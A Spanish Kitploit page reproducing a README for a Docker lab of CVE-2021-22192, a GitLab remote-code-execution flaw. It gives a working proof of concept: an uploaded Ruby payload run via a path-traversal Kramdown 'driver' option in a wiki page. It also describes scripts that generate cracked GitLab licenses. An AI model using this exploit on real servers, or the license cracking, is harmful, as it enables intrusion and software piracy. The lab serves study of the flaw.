Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-22192 — CVE-2021-22192 Laboratorio: Vulnerabilidad RCE para usuarios no autorizados | Kitploit
Herramientas/GitHubGitHub/exp-docs/cve-2021-22192
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 Laboratorio: Vulnerabilidad RCE para usuarios no autorizados

Ver Repositorio
384hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-22192

CVE-2021-22192 laboratorio: Vulnerabilidad RCE para usuarios no autenticados


0x10 Entorno del laboratorio

0x20 Estructura del directorio

root@kitploit:~
CVE-2021-22192
├── README.md ............... [este README]
├── imgs .................... [imágenes complementarias para el README]
├── gitlab .................. [directorio de montaje del contenedor Gitlab]
│   ├── Dockerfile .......... [archivo Docker para construir Gitlab]
│   ├── config .............. [directorio de montaje de configuración de Gitlab]
│   ├── data ................ [directorio de montaje de datos de Gitlab]
│   ├── logs ................ [directorio de montaje de logs de Gitlab]
│   ├── keys ................ [directorio de almacenamiento de licencias crackeadas de Gitlab]
│   └── nginx ............... [directorio de configuración de nginx interno de Gitlab (copia de seguridad, no modificar)]
├── runner .................. [directorio de montaje del contenedor Gitlab]
├── license ................. [directorio de construcción del contenedor para crackear la licencia]
│   ├── Dockerfile .......... [archivo Docker para la licencia]
│   └── license.rb .......... [script Ruby para generar licencias crackeadas]
├── test .................... [directorio de depuración de Kramdown]
├── docker-compose.yml ...... [archivo de configuración de Docker Compose]
├── keygen.ps1 .............. [Windows: generar licencia crackeada con un solo clic]
├── keygen.sh ............... [Linux: generar licencia crackeada con un solo clic]
├── run.ps1 ................. [Windows: ejecutar el laboratorio Gitlab con un solo clic]
├── run.sh .................. [Linux: ejecutar el laboratorio Gitlab con un solo clic]
├── register.ps1 ............ [Windows: registrar Runner con un solo clic]
├── register.sh ............. [Linux: registrar Runner con un solo clic]
├── stop.ps1 ................ [Windows: detener el laboratorio Gitlab con un solo clic]
└── stop.sh ................. [Linux: detener el laboratorio Gitlab con un solo clic]

0x30 Construcción del laboratorio

0x31 Construcción

  • El host debe tener instalados docker y docker-compose
  • Descargue este repositorio: git clone https://github.com/lyy289065406/CVE-2021-22192
  • Genere el par de claves crackeadas: ./keygen.sh o ./keygen.ps1
  • Construya y ejecute Gitlab (asegúrese de que el puerto 80 no esté ocupado): ./run.sh o ./run.ps1
  • Después de aproximadamente 5 minutos, puede iniciar sesión en Gitlab desde el navegador: http://127.0.0.1 (la primera vez debe restablecer la contraseña de la cuenta de administrador root)

0x32 Crackear

Al generar el par de claves crackeadas anteriormente, la clave pública ya se ha escrito en el contenedor de Gitlab. Ahora necesita cargar la clave privada a través del frontend para completar el crackeo:

  • El par de claves se generó en el directorio ./gitlab/keys/, copie el contenido de .gitlab-license (clave privada)
  • Con el usuario root, abra la página http://127.0.0.1/admin/license/new
  • Seleccione Enter license key, pegue la clave privada y haga clic en Upload license para completar el crackeo

0x33 Configurar Runner

  • Con el usuario root, abra la página http://127.0.0.1/admin/runners
  • Busque el token de registro y cópielo
  • Registre el Runner: ./register.sh $TOKEN o ./register.ps1 $TOKEN

A partir de ahora, todos los repositorios pueden usar este Runner para ejecutar scripts de CI (Pipeline Jobs)

0x34 Acceder a Gitlab Pages

Suponga que su nombre de usuario de Gitlab es ${username} y el nombre del repositorio es ${repository_name}. Una vez que el repositorio haya construido correctamente el SSG con jekyll, solo necesita acceder a la siguiente URL:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 Verificación del laboratorio

Consulte hackerone para el proceso detallado.

  1. Con cualquier usuario, haga clic en + -> New snippet en la parte superior.
  2. En Title, ponga lo que quiera. Haga clic en el cuadro de entrada de Description (optional), luego haga clic en Attach a file y cargue un archivo llamado payload.rb con el siguiente contenido:
root@kitploit:~
puts "hello from ruby"
`echo exp was here > /tmp/exp`

En ese momento, en Description (optional) aparecerá un enlace al archivo, por ejemplo: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb). El archivo se habrá cargado en el contenedor docker_gitlab en /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (No es necesario hacer clic en Create snippet; solo recuerde el hash de la ruta del archivo)

Nota: No cree el snippet a través de Snippet -> New snippet en la barra lateral izquierda de un repositorio específico, de lo contrario la ruta mostrada se convertirá en [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb) pero la ruta real en el contenedor docker_gitlab se convertirá en /var/opt/gitlab/gitlab-rails/uploads/@hash/cadena aleatoria/payload.rb, lo cual es difícil de explotar debido a la cadena aleatoria.

  1. Haga clic en + New Project en la parte superior, asígnele un nombre cualquiera (por ejemplo, poc, o si no crea uno, puede usar un repositorio existente).
  2. Haga clic en Wiki en la izquierda, luego haga clic en Create your first page.
  3. Complete Title y Content como desee y haga clic en Create page.
  4. Gitlab generará un repositorio wiki para el repositorio poc actual, llamado poc.wiki (haga clic en Clone repository en la esquina superior derecha para encontrar el comando clone: git clone http://127.0.0.1/root/poc.wiki.git).
  5. En la terminal local, ejecute el comando git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki para descargar el repositorio wiki localmente.
root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. Ejecute el comando para enviar el archivo a Gitlab: git add -A . && git commit -m "page1.rmd" && git push
  2. Regrese a la página anterior de Gitlab Wiki, actualice. En la barra de índices de la derecha, verá la página page1 creada localmente, haga clic en ella.
  3. Espere a que se muestre el contenido en la página. Luego, inicie sesión en el contenedor docker_gitlab; encontrará que el archivo /tmp/exp ya se ha creado.

Después de hacer clic en la página page1.rmd, puede ver mensajes de error en gitlab/logs/gitlab-rails/exceptions_json.log, pero esto no afecta la ejecución del comando:

root@kitploit:~
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
Descargar herramienta
  • En el directorio raíz del repositorio wiki, agregue un archivo llamado page1.rmd con el siguiente contenido (reemplace el hash en la ruta con el hash obtenido anteriormente):